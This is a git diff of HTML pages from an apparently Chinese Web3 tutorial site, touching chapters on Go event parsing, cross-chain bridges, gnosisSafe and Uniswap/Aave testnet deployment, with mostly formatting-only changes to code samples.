    -           Key   [32]byte
    -           Value [32]byte
    +       // 解析Event中的Data
    +       event := struct {
    +           Key   [32]byte
    +           Value [32]byte
            }{}
     
    -   // 注意这里,与原文不一样,原文无法编译
    -   // err := contractAbi.Unpack(&event, "ItemSet", vLog.Data)
    -       err := contractAbi.UnpackIntoInterface(&event, "ItemSet", vLog.Data)
    -       if err != nil {
    +   // 注意这里,与原文不一样,原文无法编译
    +   // err := contractAbi.Unpack(&event, "ItemSet", vLog.Data)
    +       err := contractAbi.UnpackIntoInterface(&event, "ItemSet", vLog.Data)
    +       if err != nil {
                log.Fatal(err)
            }
     
    -       fmt.Println("\tData:")
    -       fmt.Printf("\t\tkey  :%x\n", event.Key)
    -       fmt.Printf("\t\tvalue:%x\n", event.Value)
    +       fmt.Println("\tData:")
    +       fmt.Printf("\t\tkey  :%x\n", event.Key)
    +       fmt.Printf("\t\tvalue:%x\n", event.Value)
     
    -       // 解析Event中的Topic
    -       var topics [4]string
    -       fmt.Println("\tTopic:")
    -       for i := range vLog.Topics {
    +       // 解析Event中的Topic
    +       var topics [4]string
    +       fmt.Println("\tTopic:")
    +       for i := range vLog.Topics {
                topics[i] = vLog.Topics[i].Hex()
    -           fmt.Printf("\t\ttopic[%d]: %s\n", i, topics[i])
    +           fmt.Printf("\t\ttopic[%d]: %s\n", i, topics[i])
            }
        }
     
    -   eventSignature := []byte("ItemSet(address,bytes32,bytes32)")
    +   eventSignature := []byte("ItemSet(address,bytes32,bytes32)")
        hash := crypto.Keccak256Hash(eventSignature)
    -   fmt.Println("topic hash:", hash.Hex())
    +   fmt.Println("topic hash:", hash.Hex())
     }
     
  • @@ -3148,7 +3144,7 @@

    第6节:解析事件

    @@ -3234,14 +3230,6 @@

    第6节:解析事件

    - - - - - - - - diff --git "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/index.html" "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/index.html" index 0dbb6f99..d2945c76 100644 --- "a/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/index.html" +++ "b/cn/14_Golang\345\220\210\347\272\246\344\272\244\344\272\222/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3061,7 +3057,7 @@

    第14章:后端服务

    @@ -3147,14 +3143,6 @@

    第14章:后端服务

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/01_\344\273\216Layer1\345\210\260Layer3.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/01_\344\273\216Layer1\345\210\260Layer3.html" index 196b67dd..bcd722ae 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/01_\344\273\216Layer1\345\210\260Layer3.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/01_\344\273\216Layer1\345\210\260Layer3.html" @@ -36,10 +36,6 @@ - - - - @@ -3094,7 +3090,7 @@

    总结

    @@ -3180,14 +3176,6 @@

    总结

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/02_\344\273\245\345\244\252\345\235\212\346\211\251\345\256\271\346\226\271\346\241\210.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/02_\344\273\245\345\244\252\345\235\212\346\211\251\345\256\271\346\226\271\346\241\210.html" index 0a9be116..fe6e00fe 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/02_\344\273\245\345\244\252\345\235\212\346\211\251\345\256\271\346\226\271\346\241\210.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/02_\344\273\245\345\244\252\345\235\212\346\211\251\345\256\271\346\226\271\346\241\210.html" @@ -36,10 +36,6 @@ - - - - @@ -3055,7 +3051,7 @@

    Arbitum

    @@ -3141,14 +3137,6 @@

    Arbitum

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/03_\344\273\245\345\244\252\345\235\212POS.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/03_\344\273\245\345\244\252\345\235\212POS.html" index 490e5bff..b87a99de 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/03_\344\273\245\345\244\252\345\235\212POS.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/03_\344\273\245\345\244\252\345\235\212POS.html" @@ -36,10 +36,6 @@ - - - - @@ -3066,7 +3062,7 @@

    控制区块的过去&未来:66% @@ -3152,14 +3148,6 @@

    控制区块的过去&未来:66% - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/04_\344\273\216HD\351\222\261\345\214\205\345\210\260MPC\351\222\261\345\214\205.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/04_\344\273\216HD\351\222\261\345\214\205\345\210\260MPC\351\222\261\345\214\205.html" index 3ee768e1..306db12d 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/04_\344\273\216HD\351\222\261\345\214\205\345\210\260MPC\351\222\261\345\214\205.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/04_\344\273\216HD\351\222\261\345\214\205\345\210\260MPC\351\222\261\345\214\205.html" @@ -36,10 +36,6 @@ - - - - @@ -3124,7 +3120,7 @@

    五、总结

    @@ -3210,14 +3206,6 @@

    五、总结

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/05_\350\267\250\351\223\276\346\241\245anyswap.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/05_\350\267\250\351\223\276\346\241\245anyswap.html" index b8ebb7d0..d3bce266 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/05_\350\267\250\351\223\276\346\241\245anyswap.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/05_\350\267\250\351\223\276\346\241\245anyswap.html" @@ -36,10 +36,6 @@ - - - - @@ -3055,19 +3051,19 @@

    官方部署合约

    用户部署A链合约

    A链合约中,根据业务需求,最终调用AnycallV7Proxy的anyCall方法,调用后请求会发送到SMPC网络,最终传递到B链

    -
    pragma solidity ^0.8.10;
    +
    pragma solidity ^0.8.10;
     
    -/// IAnycallProxy interface of the anycall proxy
    +/// IAnycallProxy interface of the anycall proxy
     interface IAnycallProxy {
    -    function executor() external view returns (address);
    +    function executor() external view returns (address);
     
    -    function anyCall(
    -        address _to, // B链合约地址
    -        bytes calldata _data, //B链执行的数据 
    -        uint256 _toChainID, // B链ID
    +    function anyCall(
    +        address _to, // B链合约地址
    +        bytes calldata _data, //B链执行的数据 
    +        uint256 _toChainID, // B链ID
             uint256 _flags,
             bytes calldata _extdata
    -    ) external payable;
    +    ) external payable;
     }
     

    用户部署B链合约

    @@ -3094,10 +3090,10 @@

    用户部署B链合约

    自己运行demo

    https://github.com/dukedaily/multchain-anycallv7-example

    -
    # 0x48636063bD54f705E8c5b5858a0462F896c05ADC
    +
    # 0x48636063bD54f705E8c5b5858a0462F896c05ADC
     yarn hardhat deploy --network ftmtest
     
    -# 0x8B43B8E728Af345830732A6A0Bd78BB754Fd51a3
    +# 0x8B43B8E728Af345830732A6A0Bd78BB754Fd51a3
     yarn hardhat deploy --network bnbtest
     
      yarn hardhat run ./scripts/1testanycall.js --network bnbtest
    @@ -3178,7 +3174,7 @@ 

    结论

    @@ -3264,14 +3260,6 @@

    结论

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/06_\350\267\250\351\223\276\346\241\245wormhole.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/06_\350\267\250\351\223\276\346\241\245wormhole.html" index 0a8bff65..c2ebb03e 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/06_\350\267\250\351\223\276\346\241\245wormhole.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/06_\350\267\250\351\223\276\346\241\245wormhole.html" @@ -36,10 +36,6 @@ - - - - @@ -3056,7 +3052,7 @@

    第6节:跨链桥wormhole

    @@ -3142,14 +3138,6 @@

    第6节:跨链桥wormhole

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/07_AA\351\222\261\345\214\205.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/07_AA\351\222\261\345\214\205.html" index 6b8b5055..4e279eb3 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/07_AA\351\222\261\345\214\205.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/07_AA\351\222\261\345\214\205.html" @@ -36,10 +36,6 @@ - - - - @@ -3120,7 +3116,7 @@

    选读

    @@ -3206,14 +3202,6 @@

    选读

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/08_MEV.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/08_MEV.html" index 372aef16..e2470fcf 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/08_MEV.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/08_MEV.html" @@ -36,10 +36,6 @@ - - - - @@ -3112,7 +3108,7 @@

    MEV的影响

    @@ -3198,14 +3194,6 @@

    MEV的影响

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/09_\347\250\263\345\256\232\345\270\201.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/09_\347\250\263\345\256\232\345\270\201.html" index 9f3c1976..67d46696 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/09_\347\250\263\345\256\232\345\270\201.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/09_\347\250\263\345\256\232\345\270\201.html" @@ -36,10 +36,6 @@ - - - - @@ -3068,7 +3064,7 @@

    算法稳定币-LUNA

    @@ -3154,14 +3150,6 @@

    算法稳定币-LUNA

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/11_DID.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/11_DID.html" index 588f0eea..c197b867 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/11_DID.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/11_DID.html" @@ -36,10 +36,6 @@ - - - - @@ -3059,7 +3055,7 @@

    第11节:DID

    @@ -3145,14 +3141,6 @@

    第11节:DID

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/12_\345\255\230\345\202\250.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/12_\345\255\230\345\202\250.html" index 0cd501da..e48e6133 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/12_\345\255\230\345\202\250.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/12_\345\255\230\345\202\250.html" @@ -36,10 +36,6 @@ - - - - @@ -3054,7 +3050,7 @@

    ipfs

    @@ -3140,14 +3136,6 @@

    ipfs

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/13_ENS.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/13_ENS.html" index 4488efb0..1f430f1f 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/13_ENS.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/13_ENS.html" @@ -36,10 +36,6 @@ - - - - @@ -3049,7 +3045,7 @@

    第13节:ENS

    @@ -3135,14 +3131,6 @@

    第13节:ENS

    - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/14_gnosisSafe.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/14_gnosisSafe.html" index 1f2f3743..55cc3b99 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/14_gnosisSafe.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/14_gnosisSafe.html" @@ -36,10 +36,6 @@ - - - - @@ -3031,19 +3027,19 @@

    第14节:gnosisSafe分析

  • 执行阶段具体执行流程:

    1. Owner发起链上执行操作,携带所有的数据(在gnosis的dapp中添加),最终会生成如下数据,喂给这个函数:

      -
      function execTransaction(
      -    address to, // 目标地址,可以是合约,也可以是EOA
      -    uint256 value, // 金额
      -    bytes calldata data, // 具体calldata,与to配合使用
      -    Enum.Operation operation, // 0: call,1:delegatecall
      +
      function execTransaction(
      +    address to, // 目标地址,可以是合约,也可以是EOA
      +    uint256 value, // 金额
      +    bytes calldata data, // 具体calldata,与to配合使用
      +    Enum.Operation operation, // 0: call,1:delegatecall
           uint256 safeTxGas,
           uint256 baseGas,
           uint256 gasPrice,
           address gasToken,
           address payable refundReceiver,
      -    bytes memory signatures // 多个签名的集合,在内部会进行切割,循环校验
      -) public payable virtual returns (bool success)
      -
      + bytes memory signatures // 多个签名的集合,在内部会进行切割,循环校验 +) public payable virtual returns (bool success) +
    2. 操作交互流程为:多签钱包safeProxy通过代理方式调用Safe合约里面的 execTransaction方法执行

    3. @@ -3086,7 +3082,7 @@

      第14节:gnosisSafe分析

      @@ -3172,14 +3168,6 @@

      第14节:gnosisSafe分析

      - - - - - - - - diff --git "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/index.html" "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/index.html" index 699b8792..cdf5a80a 100644 --- "a/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/index.html" +++ "b/cn/15_\347\203\255\351\227\250\346\212\200\346\234\257\350\277\275\350\270\252/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,7 +3042,7 @@

      第十三章:凑个热闹

      @@ -3132,14 +3128,6 @@

      第十三章:凑个热闹

      - - - - - - - - diff --git "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/01_uniswapV2\351\203\250\347\275\262.html" "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/01_uniswapV2\351\203\250\347\275\262.html" index cf88c949..7921a8da 100644 --- "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/01_uniswapV2\351\203\250\347\275\262.html" +++ "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/01_uniswapV2\351\203\250\347\275\262.html" @@ -36,10 +36,6 @@ - - - - @@ -3034,17 +3030,17 @@

      一、概述

      二、合约

      1. core

      yarn && yarn compile
      -yarn test
      +yarn test
       

      2. periphery

      yarn && yarn compile
      -yarn test
      +yarn test
       

      3. deploy工厂合约

      1. 部署factory前,先在factory中添加代码,用于计算:INIT_CODE_HASH
      -
          bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(UniswapV2Pair).creationCode));
      +
          bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(UniswapV2Pair).creationCode));
       

      image-20211215220204063

        @@ -3054,11 +3050,11 @@

        3. deploy工厂合约

        1. 部署router2
        -
        WETH = '0xd0a1e359811322d97991e03f863a0c30c2cf029c'
        +
        WETH = '0xd0a1e359811322d97991e03f863a0c30c2cf029c'
         factory: 0xd41130E9142c64Da60908d2a6Bd0eD191Bc6d7E4
         router2: 0xDC292C81e24efB77Bc69e6d3727E3727EC1bF170 (verify)
         
        -INIT_CODE_HASH = '0x1a2b467a96f24f635e38aa0d5eb137af393113cb941125f3cbf3d93857eb6e69'
        +INIT_CODE_HASH = '0x1a2b467a96f24f635e38aa0d5eb137af393113cb941125f3cbf3d93857eb6e69'
         
         Aave DAI:  0xff795577d9ac8bd7d90ee22b6c1703490b6512fd
         Aave WBTC:  0xd1b98b6607330172f1d991521145a22bce793277
        @@ -3069,14 +3065,14 @@ 

        1. uniswap/sdk

        git@github.com:dukedaily/uniswap-sdk-v2.git
         

        clone到本地:

        -
        git clone git@github.com:dukedaily/uniswap-sdk-v2.git
        +
        git clone git@github.com:dukedaily/uniswap-sdk-v2.git
         

        修改uniswap/sdk中的数据,替换为我们部署的FACTORY_ADDRESS和INIT_CODE_HASH:

        -
        # uniswap-sdk-v2/src/constants.ts
        +
        # uniswap-sdk-v2/src/constants.ts
         
        -export const FACTORY_ADDRESS = '0xd41130E9142c64Da60908d2a6Bd0eD191Bc6d7E4'
        +export const FACTORY_ADDRESS = '0xd41130E9142c64Da60908d2a6Bd0eD191Bc6d7E4'
         
        -export const INIT_CODE_HASH = '0x1a2b467a96f24f635e38aa0d5eb137af393113cb941125f3cbf3d93857eb6e69'
        +export const INIT_CODE_HASH = '0x1a2b467a96f24f635e38aa0d5eb137af393113cb941125f3cbf3d93857eb6e69'
         

        安装&编译:

        yarn &yarn build
        @@ -3085,46 +3081,46 @@ 

        1. uniswap/sdk

        四、interface

        1. 引用sdk

        下载工程:使用v2.6.5版本,之后的版本有治理功能,我们不需要。

        -
        git clone https://github.com/Uniswap/uniswap-interface.git
        -cd uniswap-interface && git checkout v2.6.5
        +
        git clone https://github.com/Uniswap/uniswap-interface.git
        +cd uniswap-interface && git checkout v2.6.5
         

        v2.6.5版本的interface在package.json中,使用的sdk版本为:

        -
        @uniswap/sdk": "3.0.3-beta.1",
        -
        +
        @uniswap/sdk": "3.0.3-beta.1",
        +

        但是当前uniswap官网上已经不提供这个版本了,我们上面clone的工程就是这个版本的。我们会替换掉这个默认的版本,修改package.json,将

        -
        "@uniswap/sdk": "3.0.3-beta.1",
        +
        "@uniswap/sdk": "3.0.3-beta.1",
         

        修改为:

        -
         "@uniswap/sdk": "git://github.com/dukedaily/uniswap-sdk-v2.git",
        +
         "@uniswap/sdk": "git://github.com/dukedaily/uniswap-sdk-v2.git",
         

        表示这个sdk去我们的github工程中下载。

        2. 自定义token列表

        token.json,上传到gist中:https://gist.github.com/,

        {
        -    "name": "DAI Aave List",
        -    "version": {
        -        "major": 1,
        -        "minor": 0,
        -        "patch": 0
        +    "name": "DAI Aave List",
        +    "version": {
        +        "major": 1,
        +        "minor": 0,
        +        "patch": 0
             },
        -    "logoURI": "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0/logo.png",
        -    "timestamp": "2021-07-25 00:00:00.000+00:00",
        -    "tokens": [
        +    "logoURI": "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0/logo.png",
        +    "timestamp": "2021-07-25 00:00:00.000+00:00",
        +    "tokens": [
                 {
        -            "chainId": 42,
        -            "address": "0xff795577d9ac8bd7d90ee22b6c1703490b6512fd",
        -            "name": "DAIAAVE Token",
        -            "symbol": "DAI",
        -            "decimals": 18,
        -            "logoURI": "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0/logo.png"
        +            "chainId": 42,
        +            "address": "0xff795577d9ac8bd7d90ee22b6c1703490b6512fd",
        +            "name": "DAIAAVE Token",
        +            "symbol": "DAI",
        +            "decimals": 18,
        +            "logoURI": "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0/logo.png"
                 },
                 {
        -            "chainId": 42,
        -            "address": "0xd1b98b6607330172f1d991521145a22bce793277",
        -            "name": "WBTCAAVE Token",
        -            "symbol": "WBTC",
        -            "decimals": 8,
        -            "logoURI": "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0/logo.png"
        +            "chainId": 42,
        +            "address": "0xd1b98b6607330172f1d991521145a22bce793277",
        +            "name": "WBTCAAVE Token",
        +            "symbol": "WBTC",
        +            "decimals": 8,
        +            "logoURI": "https://raw.githubusercontent.com/trustwallet/assets/master/blockchains/ethereum/assets/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0/logo.png"
                 }
         
             ]
        @@ -3137,7 +3133,7 @@ 

        2. 自定义token列表

        image-20211215222139155

        3. 修改路由地址

        index.ts中:

        -
        export const ROUTER_ADDRESS = '0xDC292C81e24efB77Bc69e6d3727E3727EC1bF170'
        +
        export const ROUTER_ADDRESS = '0xDC292C81e24efB77Bc69e6d3727E3727EC1bF170'
         

        依次执行如下命令:

        yarn &yarn build
        @@ -3185,7 +3181,7 @@ 

        4. 部署github.io

        @@ -3271,14 +3267,6 @@

        4. 部署github.io

        - - - - - - - - diff --git "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/02_aaveV2\351\203\250\347\275\262.html" "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/02_aaveV2\351\203\250\347\275\262.html" index a15b8cbc..788f8727 100644 --- "a/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/02_aaveV2\351\203\250\347\275\262.html" +++ "b/cn/16_\344\270\273\346\265\201\351\241\271\347\233\256\351\203\250\347\275\262\346\226\207\346\241\243/02_aaveV2\351\203\250\347\275\262.html" @@ -36,10 +36,6 @@ - - - - @@ -3069,20 +3065,20 @@

        2. 前端需要的地址

        执行,记录地址,放在前端页面的:baseUniswapAdapter字段

        npx hardhat --network kovan deploy-UniswapRepayAdapter --provider 0x604393277F9941756eF0660e52a891D80DDA9A8D --router 0xDC292C81e24efB77Bc69e6d3727E3727EC1bF170 --weth 0xd0a1e359811322d97991e03f863a0c30c2cf029c
         
        -#0xaA0871B294198B81311108fC1E6a7e09C09aBD97,自己
        +#0xaA0871B294198B81311108fC1E6a7e09C09aBD97,自己
         

        执行,记录地址,这个就是UiPoolDataProviderV2,==注意是V2==,放在前端页面的:uiPoolDataProvider字段

        ==(自动部署脚本好像已经部署这个了)==(是的,不需要自己部署了)

        npm run dev:deployUIProviderV2
         
        -#0x6062ad399E47BF75AEa0b3c5BE7077c1E8664Dcb,官方
        -#0x65c596620a4370DE9ed110e6594538b1E71E8bb7,自己
        +#0x6062ad399E47BF75AEa0b3c5BE7077c1E8664Dcb,官方
        +#0x65c596620a4370DE9ed110e6594538b1E71E8bb7,自己
         

        执行,记录地址,放在前端页面的:uiIncentiveDataProvider字段

        npm run dev:deployUIIncentivesProviderV2
         
        -#0x9842E5B7b7C6cEDfB1952a388e050582Ff95645b,官方
        -#0xeCF1236E20a5bDF828a1FbA4FAaAC8ad991752F7,自己
        +#0x9842E5B7b7C6cEDfB1952a388e050582Ff95645b,官方
        +#0xeCF1236E20a5bDF828a1FbA4FAaAC8ad991752F7,自己
         

        3. 经验小结

          @@ -3178,9 +3174,9 @@

          5. 配置了固定地址

          二、部署自己的资产&chainlink

          运行:这个token源码中对mint没有权限校验,可以添加上。

          -
          #npx hardhat dev:deploy-all-mock-tokens --network kovan --verify
          +
          #npx hardhat dev:deploy-all-mock-tokens --network kovan --verify
           
          -#不要加verify了,已经verify过了,否则很慢
          +#不要加verify了,已经verify过了,否则很慢
           npx hardhat dev:deploy-all-mock-tokens --network kovan
           
          @@ -3240,57 +3236,57 @@

          1. mock chainlink源码

          0. aave追踪uniswap价格

          前端页面也使用这个,symbol和decimals分别是:ETH,8,其他币种分别填写WBTC,18等。

          
          -// File: chainlinkMock/ours/IERC20.sol
          +// File: chainlinkMock/ours/IERC20.sol
           
          -/**
          +/**
            *Submitted for verification at Etherscan.io on 2022-01-12
          - */
          + */
           
          -// File: contracts/IERC20.sol
          +// File: contracts/IERC20.sol
           
          -// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
          +// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
           
          -pragma solidity >=0.5.0;
          +pragma solidity >=0.5.0;
           
          -/**
          - * @dev Interface of the ERC20 standard as defined in the EIP.
          - */
          +/**
          + * @dev Interface of the ERC20 standard as defined in the EIP.
          + */
           interface IERC20 {
          -  /**
          -   * @dev Returns the decimals.
          -   */
          -  function decimals() external view returns (uint256);
          -
          -  /**
          -   * @dev Returns the amount of tokens in existence.
          -   */
          -  function totalSupply() external view returns (uint256);
          -
          -  /**
          -   * @dev Returns the amount of tokens owned by `account`.
          -   */
          -  function balanceOf(address account) external view returns (uint256);
          -
          -  /**
          -   * @dev Moves `amount` tokens from the caller's account to `recipient`.
          +  /**
          +   * @dev Returns the decimals.
          +   */
          +  function decimals() external view returns (uint256);
          +
          +  /**
          +   * @dev Returns the amount of tokens in existence.
          +   */
          +  function totalSupply() external view returns (uint256);
          +
          +  /**
          +   * @dev Returns the amount of tokens owned by `account`.
          +   */
          +  function balanceOf(address account) external view returns (uint256);
          +
          +  /**
          +   * @dev Moves `amount` tokens from the caller's account to `recipient`.
              *
              * Returns a boolean value indicating whether the operation succeeded.
              *
              * Emits a {Transfer} event.
          -   */
          -  function transfer(address recipient, uint256 amount) external returns (bool);
          +   */
          +  function transfer(address recipient, uint256 amount) external returns (bool);
           
          -  /**
          -   * @dev Returns the remaining number of tokens that `spender` will be
          +  /**
          +   * @dev Returns the remaining number of tokens that `spender` will be
              * allowed to spend on behalf of `owner` through {transferFrom}. This is
              * zero by default.
              *
              * This value changes when {approve} or {transferFrom} are called.
          -   */
          -  function allowance(address owner, address spender) external view returns (uint256);
          +   */
          +  function allowance(address owner, address spender) external view returns (uint256);
           
          -  /**
          -   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
          +  /**
          +   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
              *
              * Returns a boolean value indicating whether the operation succeeded.
              *
          @@ -3302,76 +3298,76 @@ 

          0. aave追踪uniswap价格

          * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. - */ - function approve(address spender, uint256 amount) external returns (bool); + */
          + function approve(address spender, uint256 amount) external returns (bool); - /** - * @dev Moves `amount` tokens from `sender` to `recipient` using the + /** + * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. - */ - function transferFrom( + */ + function transferFrom( address sender, address recipient, uint256 amount - ) external returns (bool); + ) external returns (bool); - /** - * @dev Emitted when `value` tokens are moved from one account (`from`) to + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. - */ - event Transfer(address indexed from, address indexed to, uint256 value); + */ + event Transfer(address indexed from, address indexed to, uint256 value); - /** - * @dev Emitted when the allowance of a `spender` for an `owner` is set by + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. - */ + */ event Approval(address indexed owner, address indexed spender, uint256 value); } -// File: chainlinkMock/ours/IUniswapV2Pair.sol +// File: chainlinkMock/ours/IUniswapV2Pair.sol -pragma solidity >=0.5.0; +pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); - event Transfer(address indexed from, address indexed to, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); - function name() external pure returns (string memory); + function name() external pure returns (string memory); - function symbol() external pure returns (string memory); + function symbol() external pure returns (string memory); - function decimals() external pure returns (uint8); + function decimals() external pure returns (uint8); - function totalSupply() external view returns (uint256); + function totalSupply() external view returns (uint256); - function balanceOf(address owner) external view returns (uint256); + function balanceOf(address owner) external view returns (uint256); - function allowance(address owner, address spender) external view returns (uint256); + function allowance(address owner, address spender) external view returns (uint256); - function approve(address spender, uint256 value) external returns (bool); + function approve(address spender, uint256 value) external returns (bool); - function transfer(address to, uint256 value) external returns (bool); + function transfer(address to, uint256 value) external returns (bool); - function transferFrom( - address from, + function transferFrom( + address from, address to, uint256 value - ) external returns (bool); + ) external returns (bool); - function DOMAIN_SEPARATOR() external view returns (bytes32); + function DOMAIN_SEPARATOR() external view returns (bytes32); - function PERMIT_TYPEHASH() external pure returns (bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); - function nonces(address owner) external view returns (uint256); + function nonces(address owner) external view returns (uint256); - function permit( + function permit( address owner, address spender, uint256 value, @@ -3379,7 +3375,7 @@

          0. aave追踪uniswap价格

